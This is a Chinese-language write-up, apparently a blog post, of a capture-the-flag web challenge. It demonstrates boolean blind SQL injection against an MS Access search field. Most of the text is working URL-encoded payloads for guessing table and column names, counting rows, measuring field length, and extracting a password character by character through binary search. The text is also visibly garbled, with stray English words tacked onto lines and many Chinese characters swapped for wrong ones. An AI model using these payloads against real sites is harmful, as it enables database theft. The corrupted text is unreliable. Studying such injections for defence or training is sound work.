access数据库渐渐的被不少人遗忘。html
而大部分安全人员也对access数据库也不感冒。python
最近在西晋学院玩了玩它的web题目,没想到在西晋上面看到很多的asp的题。其中不乏有数据库注入的。mysql
access数据库并不像mysql那样方便,能够拥有information_schema这个包含数据各类数据库,表以及字段信息的“新华字典”。web
虽然有一个msysobjects,可是大多状况下即便管理员也没办法读取其里的信息,由于读取它须要设置权限。sql
下面从西晋学院里面的access盲注来讲一下。数据库
一、前提准备后端
一个Firefox火狐浏览器浏览器
TamperData--拦截每个咱们发出的web请求安全
二、分析请求less
咱们先看一下正常请求返回的内容
1、咱们选择咱们的TamperData插件,
2、开启tamper,准备拦截请求。在输入框输入咱们的测试值
Eg:(1)输入“1”
发现返回页面没有内容
(2)输入“'”
发现出现数据库报错。根据报错信息,能够知道数据库使用jet database引擎。而access正是使用这种的引擎,咱们基本能够肯定后端数据库是access。同时能够猜想咱们的这里是搜索型注入,咱们输入的数据被两个%%包住。
猜想后端数据库的查询语句为:
'select 标题,内容,时间 from news where 标题 like %(输入)%'
3、肯定注入类型
(1)首先由单引号报错咱们能够肯定,这里是字符串引发的数据库注入
(2)准备验证数据:
Eg:(1)输入“' and '%'='”
这里解释一下,由于这里的注入是搜索注入。注入点在"%input%"的input处,因此当咱们利用单引号闭合以前的语句时,须要平衡单引号的数目。上面的验证数据在数据库的查询中变成
select 标题,内容,时间 from news where 标题 like '%' and '%'='%'
注意一下,红色部分使咱们的验证数据,能够看到咱们经过字符串相等来平衡单引号数据。后面的逻辑部分“'%'='%'”为真,也就是对于前面的查询不形成影响。咱们来看看返回的内容。
(3)分析与思考
能够看到这里彻底没有效果,可是按照数据库查询,'%'表示匹配全部内容,也就是咱们应该能够看到和原来一致的页面。可是这里没有出来。
那么是否是咱们的验证数据被后台处理了?致使咱们的数据没有起到真实的做用。
这个时候咱们应该利用报错的来帮助咱们肯定后台数据库所作的处理。
咱们把最后面的单引号去掉,这时候发生了错误。咱们来分析一下返回的错误信息,能够看到咱们的payload本来是有空格,可是在数据库查询中却没有,也就是后台会将输入去除空格。
那咱们修正咱们的输入,咱们将咱们的内容空格进行url编码,就是'%20'。这个时候咱们,我再看看返回什么样的信息。
Eg: '%20and%20'%'=
能够看到此时返回的报错信息中,已经存在了空格了,也就是咱们的修正成功。咱们补回去掉的单引号。
再次测试,Eg:'%20and%20'%'='
页面却是正常了,但是没有数据呀。这时,咱们又的修正咱们的测试数据了。有些同窗想测试'&&',这个和and关键字有着同样功能的运算符。可是注意一下在access中&为字符串链接符,这和其余数据库不一致。
咱们这时候稍微翻转一下思惟就能够相处,要是and不行,那么or呢?
Eg:'%20or%20'%'='
结果说明一切,能够看到页面返回的内容和原来的同样的。这时候咱们再看回sql语句如今的表示。
select 标题,内容,时间 from news where 标题 like '%' or '%'='%'
这是,or '%'='%'恒真,也就是会检索出全部内容来。
这时候咱们该怎样进行下一步呢?
4、开始干大事了
说在前面:
不少人在这里会疑惑了,一个这样注入点该怎样利用。通常来讲,这里只能执行逻辑判断,也就是这里的注入是布尔类型的注入。咱们要注入的内容在'%'和or之间,而且用and运算符。
一个测试即是:
select 标题,内容,时间 from news where 标题 like '%' and 1=1 or '%'='%'
(1)对于access数据来讲,若是不能利用msysobjects的话,咱们只能暴力破解表名、字段名了,而这个每每须要一个表名字典、字段名字典。
之前很经常使用的明小子、DSQL等工具在进行access数据注入的时候,也是经过字典来爆破表名和字段名。
用到的payload以下
'%20and%20exists(select%20*%20from%20[表名])%20or%20'%'='
咱们经过不断变化表名,只要表名是常见的而且在咱们的字典中,咱们就能够破解出表名和字段名。
如图,由于这里是ctf,因此猜想表名admin、ctf、keys、flag、flags、pass、manager。最终只有manager生效。
admin表不存在
manager表存在
其实这个表名并不是博主猜的,是使用sqlmap的字典爆出来的。可是字段名倒是博主本身猜出来的。虽然sqlmap字典也有,~~~~(>_<)~~~~
可是sqlmap在爆破出表名以后不给力了,由于它布尔盲注用的是and而不是or,因此以后没法猜想是表名的字段数,而后就不工做了。
猜想字段名很简单,将上面的*换成字段名便可。
'%20and%20exists(select%20[字段名]%20from%20[表名])%20or%20'%'='
这里猜,固然是猜通关的钥匙,flag、flags、password、passwords、keys、key、pass。最后猜出来是pass,有没有内流满面的结果。
(2)以后就是重头戏了,咱们已经把表名和字段名才出了,咱们先看看有多少个数据以及数据的长度。
数据的行数比2小或者等于2
数据的行数比1小或者等于1
能够看到数据的行数为一
'%20and%20(select%20count(*)%20from%20manager)>2%20or%20'%'='
能够看到这里只有一行数据。而后咱们使用len()函数测试该数据的长度
'%20and%20(select%20len(pass)%20from%20manager)>10%20or%20'%'='
能够看到,返回正常页面。说明数据长度大于10.
'%20and%20(select%20len(pass)%20from%20manager)>20%20or%20'%'='
返回空白的页面,数据长度小于20
'%20and%20(select%20len(pass)%20from%20manager)>15%20or%20'%'='
返回空白的页面,数据长度小于15
'%20and%20(select%20len(pass)%20from%20manager)>13%20or%20'%'='
返回空白页面,数据长度小于13
'%20and%20(select%20len(pass)%20from%20manager)>11%20or%20'%'='
返回正常页面,数据长度大于11
'%20and%20(select%20len(pass)%20from%20manager)>12%20or%20'%'='
返回页面空白,数据长度小于或等于12,根据上一次测试,知道长度等于12
(3)
日后,咱们须要用到个函数,一个
mid(string,start,length)这个用来截取字符串的,
|string是要截取的字符串 |
|start是截取的字符串开始索引|
|length是要截取的字符串长度 |
asc(char)这个用来说一个字符转换为对应的ascii数值
|char为须要转换的字符
咱们这里须要修正payload来将pass盲注出来,a的ascii数值为97,先判断是否为小写的ascii的值
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>97%20or%20'%'='
能够看到这里返回的页面并无内容,也就说第一个字符对应的ascii值小于97。这里咱们修改成57,判断是否为数字
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>57%20or%20'%'='
能够看到返回正常页面,也就是第一个字母不是数字。剩下咱们测试大写的字母,范围65~90。采用而二分法,修改成78=(65+90/2)
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>78%20or%20'%'='
返回正常页面,说明比78大。修改成(78+90)/2=84
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>84%20or%20'%'='
返回空页面,说明比84小,如今范围限制在[78,84]之间,取81
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>81%20or%20'%'='
返回正常页面,说明比81大,取82做为测试数值。
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>82%20or%20'%'='
返回正常页面,说明比82大,取83做为测试数值
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>83%20or%20'%'='
返回页面正常,说明比84大,测试是否等于84
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))=84%20or%20'%'='
查表能够知道,第一个字符为“T”
(4)后续的内容,咱们只须要修改mid的第二个参数为2,便可盲注第二个字符。更多的内容能够参考,我以前的帖子,关于使用python盲注mysql的,核心的仍是二分法。
连接:ClickMe